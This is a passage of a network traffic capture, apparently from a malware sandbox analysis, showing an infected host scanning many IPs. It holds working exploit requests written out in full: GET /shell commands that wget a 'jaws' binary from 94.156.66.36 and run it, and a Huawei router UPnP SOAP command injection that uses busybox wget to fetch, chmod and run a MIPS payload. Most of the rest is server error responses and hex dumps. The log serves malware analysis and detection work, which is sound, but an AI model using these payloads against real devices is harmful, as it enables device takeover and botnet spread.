Mar 13, 2024 09:36:24.406487942 CET	1280	IN	Data Raw: 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 63 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 Data Ascii: margin: 0; } .center { text-align: center; margin-left: auto; margin-right: auto; } #dError, .msg { color: #d94949; margin: 20px
Mar 13, 2024 09:36:24.406498909 CET	1280	IN	Data Raw: 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 20 70 20 7b 0d 0a 20 20 20 20 20 20 Data Ascii: -box; border-radius: 8px; } .response p { margin: 0 0 1em; } .response p:last-child { margin: 0; } .response b { color: #070808;
Mar 13, 2024 09:36:24.406512022 CET	1280	IN	Data Raw: 69 4b 69 39 5a 46 69 78 66 38 58 76 35 67 57 53 6d 59 76 76 58 4d 74 6e 72 4c 33 55 2f 41 38 6c 48 58 6a 57 69 49 4b 75 4f 42 62 36 46 70 4f 45 6c 36 5a 6a 79 4b 53 51 50 32 56 4e 4f 33 47 31 75 69 4d 66 78 6c 77 49 4f 42 70 69 47 47 4a 56 37 76 Data Ascii: iKi9ZFixf8Xv5gWSmYvvXMtnrL3U/A8lHXjWiIKuOBb6FpOEl6ZjyKSQP2VNO3G1uiMfxlwIOBpiGGJV7vCiQq0RJVJqaxUhmfvdPt8VC1i4ao1ArVErsqBTY6Ks4razWbW53AEFE9VCr4eyqvXO0wm9u0wJCkFBRZE/VpI2tRqQXFuA9DJykRCVGpBZ2bd8W1l1fI5eCcnQOxsBaVmduen58HVmg0GlHtFST6yM/Pg+6eXmg8V
Mar 13, 2024 09:36:24.406524897 CET	1280	IN	Data Raw: 4c 6f 47 52 6b 35 76 58 6a 2f 50 67 77 32 4e 39 39 59 39 66 6b 75 68 52 4b 57 47 78 77 61 32 66 54 56 67 75 31 39 4a 78 57 38 70 42 65 4f 76 2f 59 61 2b 55 46 34 79 43 59 69 6f 70 67 30 72 44 6f 63 73 45 42 45 6e 66 76 77 51 36 65 4d 34 36 35 55 Data Ascii: LoGRk5vXj/Pgw2N99Y9fkuhRKWGxwa2fTVgu19JxW8pBeOv/Ya+UF4yCYiopg0rDocsEBEnfvwQ6eM465UfPBBwF10k8qGEjFg7JVXQF1VBfqXXqIWE5GT1CX+AIUXLmhlWq15sKmpLVC7pNlmCMV8cv065L34ImQdPw47BYXde+ECZDQ0nCeidmytp7ahuM1QAbGTwaagLDL2Ol1uRNZ5cJjb33wT9pw7JwgSCp/Hg7YzbO/NP
Mar 13, 2024 09:36:24.406537056 CET	715	IN	Data Raw: 78 6e 77 44 70 73 4a 76 50 51 6d 50 77 2f 6d 46 47 48 44 48 2f 2b 39 70 39 42 4d 54 59 6d 69 45 71 7a 4e 49 4b 67 76 58 51 52 62 30 35 73 72 4a 4e 34 39 46 61 2f 45 39 6f 4b 35 7a 2f 6f 36 37 4d 5a 5a 48 4c 65 7a 4d 6e 68 71 4e 52 73 4b 6a 6c 4a Data Ascii: xnwDpsJvPQmPw/mFGHDH/+9p9BMTYmiEqzNIKgvXQRb05srJN49Fa/E9oK5z/o67MZZHLezMnhqNRsKjlJw7ZCknzmLR2gINmpNJIgziDBv1yrBblOJwx7FBBnTNgj0eOTWBOFvOrxeK7g2lGIz5I+QmdR8h0BhSVmAIaswPf8V0j5AXFIsLhIcgF5a2HXwQrgKiu7V0dtL1S1to6G+6ykENRP3+BQC4mxLwYUNgA8XiiG1zJVH

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.15	60834	93.115.168.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:24.330584049 CET	207	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.15	57126	47.100.116.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:24.579484940 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.973571062 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:24 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.15	38312	72.44.39.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.080904961 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.175559044 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:26 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.15	59624	18.67.28.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.104095936 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.221065998 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:26 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.15	55724	186.57.217.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.223119974 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.463399887 CET	423	IN	Data Raw: 39 34 2e 31 35 36 2e 36 36 2e 33 36 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 63 72 6f 5f 68 74 74 70 64 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 33 Data Ascii: 94.156.66.36/jaws;sh+/tmp/jaws 400 Bad RequestServer: micro_httpdDate: Wed, 13 Mar 2024 08:36:24 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlContent-Security-Policy: default-src 'self'; frame-anc

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.15	35536	23.38.201.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.235281944 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.482017994 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:26 GMT Date: Wed, 13 Mar 2024 08:36:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 65 34 66 32 34 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 36 26 23 34 36 3b 32 62 63 33 65 31 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1e4f2417.1710318986.2bc3e16</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.15	46812	204.210.116.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.438396931 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.653861046 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:36:26 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.15	59760	123.60.161.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:26.817197084 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:28.725699902 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.096189022 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.15	41472	156.235.107.22	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:27.829952955 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:29.493614912 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:31.445650101 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:35.477349043 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 